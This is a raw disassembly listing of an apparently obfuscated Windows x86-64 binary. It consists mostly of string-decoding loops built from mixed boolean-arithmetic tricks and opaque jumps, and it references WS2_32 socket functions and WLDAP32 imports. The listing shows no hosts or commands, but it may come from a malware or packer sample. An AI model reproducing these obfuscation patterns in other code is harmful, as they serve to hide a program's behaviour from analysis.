lea r10, [rbx + 2]
jmp 0x1401111cb
movabs rdx, 0x8bd23a970b5702a6
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401111be
movabs rdx, 0x265b2cdadb4ab542
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14011114b
movabs rcx, 0xc0e41f1eab3e67de
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x12
jmp 0x1401110d9
movabs rdx, 0x4b1081bfc40964d0
mov ecx, Ordinal_41
jmp 0x140111aa7
movabs rdx, 0xe599740393fd176c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140111afe
movabs rcx, 0x8022664763f0ca08
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x38
jmp 0x140111b21
movabs rcx, 0x1aab588b33e47ca4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7c
jmp 0x1401119a6
movabs rdx, 0xb5344acf03d82f40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140111a5a
movabs rcx, 0x4fbd3d12d3cbe1dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 4
jmp 0x140111b4b
movabs rcx, 0xea462f56a3bf9478
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x48
jmp 0x140111b81
movabs rdx, 0x84cf219a73b34714
mov ecx, Ordinal_60
jmp 0x14011166b
movabs rdx, 0x1f5813de43a6f9b0
mov ecx, Ordinal_27
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140111c0e
movabs rcx, 0x21ae7187cb883836
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7a
mov byte [rbp + r9 + 0xd40], dil
jmp 0x140111c1d
movabs rdx, 0xbc3763cb9b7bead2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp r10, 5
jb 0x140111525
movabs rcx, 0x36b7bc7d92736aec
add rcx, r9
mov al, cl
and al, r8b
mov edx, 6
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea edi, [rdx + rdx]
jmp 0x140111ada
movabs rcx, 0x56c0560f6b6f9d6e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 2
cmp rbx, 6
jae 0x14011197d
lea rax, [r10 + 0x42]
cmp rbx, rax
jbe 0x1401118da
movabs rcx, 0x40113323b1f86504
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1c
jmp 0x140111554
movabs rcx, 0xf14948533b63500a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x46
lea rax, [r10 + rbx]
cmp rax, r15
je 0x1401119d2
lea rax, [r10 + 0x64]
cmp rbx, rax
jbe 0x140111831
movabs rdx, 0x16af22ebb977386a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401115a0
movabs rcx, 0xf84c614fd3070b9c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x44
jmp 0x140111c0e
movabs rdx, 0x92d55393a2fabe38
mov ecx, reloc.WLDAP32.dll_Ordinal_60
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140111bb5
movabs rdx, 0x2d5e45d772ee70d4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea edi, [rcx + rcx]
jmp 0x1401119f6
movabs rcx, 0xc7e7381b42e22370
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x10
jmp 0x140111b4b
movabs rcx, 0x62702a5f12d5d60c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x54
jmp 0x140111a6d
movabs rdx, 0xfcf91ca2e2c988a8
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
jmp 0x1401119a0
movabs rdx, 0x97820ee6b2bd3b44
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140111b21
movabs rcx, 0x320b012a82b0ede0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x20
jmp 0x140111afe
movabs rcx, 0xcc93f36e52a4a07c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x64
jmp 0x140111ada
lea rax, [r10 + 0x5a]
cmp rbx, rax
jae 0x1401117a8
movabs rdx, 0x32bb86de180626b2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401115f8
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401117d4
movabs rcx, 0x52c4206ff1025934
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6c
jmp 0x140111c0e
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140111800
movabs rcx, 0xb83b2e2c210ea698
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x28
jmp 0x140111bb5
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1401115f8
movabs rcx, 0xe8a05760b1338ec4
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x5c
jmp 0x140111a6d
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14011184e
movabs rdx, 0x7c2630a7e98385ce
mov ecx, Ordinal_50
jmp 0x140111aa7
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14011187a
movabs rcx, 0x47144c20499c2096
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1a
jmp 0x140111b21
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x1401118a7
movabs rcx, 0x77797554d9c108c2
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x4e
jmp 0x140111b4b
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1401115a0
movabs rdx, 0xdcf0831109cd5626
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0xa
add dil, dl
jmp 0x140111b81
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401118f7
movabs rdx, 0xa58840dfe204b268
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x1401114ef
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140111920
movabs rdx, 0x70765c58421d4d30
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x50
jmp 0x1401118d2
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x14011194d
movabs rdx, 0xa0db858cd242355c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401119a6
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x140111554
movabs rcx, 0x6529349024e82c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x40
jmp 0x140111b21
movabs rdx, 0x9c2eca39c27fb850
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov dil, byte [rbp + r9 + 0xd40]
sub dil, al
sub dil, 0x30
add dil, dl
add dil, r8b
movabs rcx, 0xceea5117da85df02
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0xe
add cl, dil
add cl, r8b
mov byte [rbp + r9 + 0xd40], cl
jmp 0x140111a6d
movabs rdx, 0x1a5d7f5f28c05b4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r9 + 0xd40]
add dil, dl
add dil, r8b
jmp 0x140111b81
movabs rcx, 0xefa3705d48d74a56
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x5a
jmp 0x140111b81
movabs rdx, 0x8a2c62a118cafcf2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140111b4b
movabs rdx, 0x24b554e4e8beaf8e
mov ecx, reloc.WS2_32.dll_ntohs
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
add rbx, r10
jmp 0x140111b4b
movabs rcx, 0x59c7396c88a614c6
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6a
jmp 0x140111b21
movabs rdx, 0x8ed91df4288d79fe
mov ecx, 7
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140111ada
movabs rcx, 0xc3eb027bc874df36
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7a
movabs rcx, 0x6973435baa79919e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x52
add cl, r8b
mov byte [rbp + r9 + 0xd40], cl
add r10, r14
jmp 0x140111b21
movabs rcx, 0xf8fce703685c446e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 2
sub r9, r14
jmp 0x140111c1d
movabs rdx, 0xc897bdced8375c42
add rdx, r9
mov al, dl
and al, r11b
mov ecx, Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140111c1d
mov r8, r11
movabs rcx, 0x6320b012a82b0ede
add rcx, r9
and r11b, cl
add r11b, r11b
mov dil, r8b
sub dil, r11b
sub dil, 0x12
add dil, cl
movabs rdx, 0x34615ed40a922c66
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0xd40], al
add r10, r14
add rax, r10
sub r9, rax
movabs rdx, 0x671ce5b222985318
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_46
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0xd40], cl
add rbx, r14
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x140111c0e
movabs rdx, 0x9832949a48127416
add rdx, r9
mov al, r11b
and al, dl
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
movzx eax, byte [rbp + r9 + 0xd40]
add rax, r10
add r9, rax
add r9, r14
jmp 0x1401110c6
movabs rcx, 0x5b6d11627b321a7a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x56
jmp 0x1401110c3
movabs rdx, 0xf5f603a64b25cd16
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401110b3
lea rdx, [rbp + 0x1620cd8]
jmp 0x140111c88
lea rdx, [rbp + 0x168338a]
jmp 0x140111c88
lea rdx, [rbp + 0xd40]
lea rcx, [rbp + 0x1170]
call fcn.1400889b0
lea rcx, [rbp + 0x1170]
call fcn.1401aa1b8
mov byte [rbp + 0x280], __WSAFDIsSet
mov byte [rbp + 0x281], 0x41
mov byte [rbp + 0x282], WSACleanup
mov byte [rbp + 0x283], 0x76
mov byte [rbp + 0x284], 0x46
mov byte [rbp + 0x285], 0x68
mov byte [rbp + 0x286], 0xb4
mov byte [rbp + 0x287], Ordinal_79
mov byte [rbp + 0x288], Ordinal_79
mov byte [rbp + 0x289], Ordinal_79
mov byte [rbp + 0x28a], Ordinal_200
xor eax, eax
mov dword [rbp + 0x28b], eax
mov word [rbp + 0x28f], ax
mov dil, byte [rsp + 0x50]
call fcn.1401abe8c
mov rbx, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x11
jae 0x140112757
movzx r8d, byte [rbp + r9 + 0x280]
mov r11, r8
cmp rbx, r9
ja 0x14011274e
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x140111d60
movabs rsi, 0xf4683f0d7d443fe2
lea rcx, [r9 + rsi]
mov rax, rcx
and rax, r8
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r8
sub dil, 0x2e
jmp 0x140111d97
je 0x1401126be
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140112633
lea rax, [r10 + 6]
cmp rbx, rax
je 0x140112609
lea rax, [r10 + 9]
cmp rbx, rax
je 0x1401125be
movabs rsi, 0xf4683f0d7d443fe2
cmp r10, r9
ja 0x140112745
lea rax, [r10 + 0x200]
cmp rbx, rax
jae 0x140111dc0
movabs rdx, 0xc8d2c1b46993d8a
mov ecx, Ordinal_32
jmp 0x140111f49
lea rax, [r10 + 1]
cmp rbx, rax
je 0x14011259e
lea rax, [r10 + 2]
cmp rbx, rax
je 0x14011257e
lea rax, [r10 + 5]
cmp rbx, rax
je 0x140112546
lea rax, [r10 + 4]
cmp rbx, rax
je 0x140112523
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140112500
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x140112223
lea rax, [r10 + 1]
cmp rbx, rax
je 0x1401121fc
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401121d9
lea rax, [r10 + 0x28]
cmp rbx, rax
je 0x1401121b6
lea rax, [r10 + 0x7a]
cmp rbx, rax
je 0x140112195
lea rax, [r10 + 8]
cmp rbx, rax
je 0x140112172
lea rax, [r10 + 0x200]
cmp rbx, rax
je 0x14011215e
lea rbx, [r10 + 0x28]
lea r10, [rbx + 0x200]
lea rax, [r10 + 0x7a]
cmp rbx, rax
jb 0x14011271e
lea rax, [r10 + 8]
cmp rbx, rax
jb 0x1401126f7
lea rax, [r10 + 9]
cmp rbx, rax
jb 0x140111f88
lea rax, [r10 + 0x3e8]
cmp rbx, rax
jb 0x140111f61
lea rax, [r10 + 3]
cmp rbx, rax
jb 0x140111f3a
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x140112093
lea rax, [r10 + 0x41]
cmp rbx, rax
jb 0x140112082
lea rbx, [r10 + 9]
lea r10, [rbx + 0x40]
lea rax, [r10 + 0x3e8]
cmp rbx, rax
ja 0x14011205f
lea rax, [r10 + 3]
cmp rbx, rax
ja 0x14011204b
lea rax, [r10 + 4]
cmp rbx, rax
ja 0x140112028
lea rax, [r10 + 0x42]
cmp rbx, rax
ja 0x140112005
lea rax, [r10 + 0x5a]
cmp rbx, rax
ja 0x140111ff1
lea rax, [r10 + 0xa]
cmp rbx, rax
ja 0x140111fce
lea rax, [r10 + 0x400]
cmp rbx, rax
ja 0x140111fab
lea rbx, [r10 + 4]
lea r10, [rbx + 0xa]
jmp 0x140111e0e
movabs rdx, 0xb49a3c53040eafb6
mov ecx, 3
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140111e01
movabs rdx, 0xcbc9be3809862ff2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140111d97
movabs rcx, 0xe2f9401d0efdb02e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x42
jmp 0x140111d27
movabs rcx, 0x92c864a43fb8ecc8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x78
jmp 0x14011262b
movabs rcx, 0xa9f7e68945306d04
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1c
jmp 0x1401124a5
movabs rdx, 0xc127686e4aa7ed40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140112555
movabs rcx, 0xd856ea53501f6d7c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x64
jmp 0x14011256b
movabs rcx, 0xef866c385596edb8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 8
jmp 0x140112657
movabs rdx, 0x6b5ee1d5b0e6df4
mov ecx, Ordinal_46
jmp 0x14011228e
movabs rcx, 0x1de570026085ee30
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x50
jmp 0x1401126e0
movabs rdx, 0x863b3888f91faf3e
mov ecx, Ordinal_41
jmp 0x1401120dd
movabs rcx, 0x9d6aba6dfe972f7a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x56
lea rax, [r10 + rbx]
cmp rax, 0x400
je 0x1401124d5
lea rax, [r10 + 0x5a]
cmp rbx, rax
jbe 0x140112314
movabs rdx, 0x3cd70636d94338da
mov ecx, 5
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp rbx, 0x64
jae 0x14011247b
lea rax, [r10 + 0x1000]
cmp rbx, rax
jbe 0x1401123c8
movabs rdx, 0x496432521fdc7664
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_35
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp r10, 0x20
jb 0x14011246e
movabs rcx, 0x61891f5fe931740c
add rcx, r9
mov al, cl
and al, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_22
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea edi, [rdx + rdx]
jmp 0x1401125dc
movabs rdx, 0x90dd8e52b7fdf1f0
mov ecx, Ordinal_60
jmp 0x1401122be
movabs rcx, 0xa80d1037bd75722c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x34
jmp 0x140112568
movabs rdx, 0xbf3c921cc2ecf268
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
jmp 0x14011249f
movabs rcx, 0xd66c1401c86472a4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7c
jmp 0x14011262b
movabs rcx, 0xed9b95e6cddbf2e0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x20
jmp 0x140112604
movabs rdx, 0x4cb17cbd353731c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401125dc
lea rax, [r10 + 9]
cmp rbx, rax
jae 0x140112246
lea rcx, [r9 + rsi]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x2e
jmp 0x1401120b1
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140112276
movabs rdx, 0x191a58368d327b14
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401126e0
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401122a6
movabs rdx, 0x1ead65187bafad8
mov ecx, recv
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140112689
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1401122d6
movabs rdx, 0xd38bd2877ccbfa60
mov ecx, Ordinal_50
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14011256b
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1401122f3
movabs rdx, 0xbc5c50a277547a24
mov ecx, 2
jmp 0x140112555
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1401120b1
movabs rdx, 0x8dfd4cd86c6579ac
mov ecx, Ordinal_41
jmp 0x140112618
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140112340
movabs rcx, 0x25a78451d3cbb89e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x52
jmp 0x1401125dc
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14011236c
movabs rcx, 0xf7488087c8dcb826
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0xa
jmp 0x14011262b
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140112398
movabs rcx, 0x9a8a78f3b2feb736
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7a
jmp 0x140112657
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x1401120f0
movabs rcx, 0x6c2b7529a80fb6be
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x32
jmp 0x1401126e0
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401123f4
movabs rcx, 0x3234b06d1a64f628
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x18
jmp 0x1401126e0
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140112421
movabs rcx, 0xeca62abe09fe7574
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x2c
jmp 0x14011256b
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14011243e
movabs rdx, 0xd576a8d90486f538
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x140112555
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x14011212c
movabs rcx, 0xa717a50ef997f4c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x40
jmp 0x14011262b
mov byte [rbp + r9 + 0x280], dil
jmp 0x1401126ef
movabs rdx, 0x4a599d7ae3b9f3d0
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, byte [rbp + r9 + 0x280]
add dil, dl
add dil, r8b
movabs rdx, 0x3ec1dc8860fe33b2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
add cl, cl
add cl, dil
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x280], cl
jmp 0x140112568
movabs rcx, 0x332a1b95de427394
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, byte [rbp + r9 + 0x280]
lea edi, [r8 + rcx]
sub dil, 0xc
jmp 0x140112657
movabs rcx, 0x3be19b0e1565bb6e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 2
jmp 0x1401126e0
movabs rcx, 0x6a409ed82054bbe6
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x4a
jmp 0x140112657
movabs rdx, 0x989fa2a22b43bc5e
mov ecx, gethostname
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
add rbx, r10
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1401126ef
movabs rcx, 0xde2e28513baa3d12
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7e
jmp 0x140112604
movabs rcx, 0xf55daa364121bd4e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x22
jmp 0x1401125dc
movabs rcx, 0x23bcae004c10bdc6
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6a
movabs rdx, 0x55f15e6d6675b3ee
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x280], cl
add r10, r14
jmp 0x14011262b
movabs rdx, 0x521bb1ca56ffbe3e
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
sub r9, r14
jmp 0x1401126ef
mov r8, r11
movabs rdx, 0xaed9b95e6cddbf2e
add rdx, r9
mov al, dl
and al, r11b
add al, al
mov dil, r11b
sub dil, al
sub dil, 0x42
add dil, dl
movabs rdx, 0x27925aa35b86b376
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x3a
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x280], al
add r10, r14
add rax, r10
sub r9, rax
movabs rcx, 0x1bfa99b0d8caf358
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x68
add r8b, cl
mov byte [rbp + r9 + 0x280], r8b
add rbx, r14
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x1401126e0
movabs rdx, 0xdd38bd2877ccbfa6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
movzx eax, byte [rbp + r9 + 0x280]
add rax, r10
add r9, rax
add r9, r14
jmp 0x140111d14
movabs rdx, 0xfa28c2021475306a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140111d11
movabs rdx, 0x115843e719ecb0a6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140111d01
lea rsi, [rbp + 0x15aee58]
jmp 0x14011275e
lea rsi, [rbp + 0xdf2e3a]
jmp 0x14011275e
lea rsi, [rbp + 0x280]
mov byte [rbp + 0x2a0], 0xbf
mov byte [rbp + 0x2a1], 0xbd
mov byte [rbp + 0x2a2], Ordinal_200
mov byte [rbp + 0x2a3], 0xb9
mov byte [rbp + 0x2a4], Ordinal_46
xor eax, eax
mov qword [rbp + 0x2a5], rax
mov dword [rbp + 0x2ad], eax
mov word [rbp + 0x2b1], ax
mov byte [rbp + 0x2b3], al
mov dil, byte [rsp + 0x50]
call fcn.1401abe8c
mov rbx, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x14
jae 0x1401130b6
movzx r8d, byte [rbp + r9 + 0x2a0]
mov rdx, r8
cmp rbx, r9
ja 0x1401130ad
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x140112801
movabs r11, 0x86ae06fa5e07247a
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0x56
jmp 0x140112838
je 0x140113026
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140112f9e
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140112f66
lea rax, [r10 + 7]
cmp rbx, rax
je 0x140112f15
movabs r11, 0x86ae06fa5e07247a
cmp r10, r9
ja 0x1401130a4
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x14011286a
movabs rcx, 0xc469289b695fe02
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0xe
jmp 0x140112897
je 0x140112ef1
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140112ed1
lea rax, [r10 + 2]
cmp rbx, rax
je 0x140112eae
lea rax, [r10 + 7]
cmp rbx, rax
je 0x140112e8b
lea rax, [rbx + r10]
cmp rax, r9
jbe 0x140112b19
lea rax, [r10 + 1]
cmp rbx, rax
je 0x140112b05
lea rax, [r10 + 0x61]
cmp rbx, rax
je 0x140112ade
lea rax, [r10 + 0x80]
cmp rbx, rax
je 0x140112abb
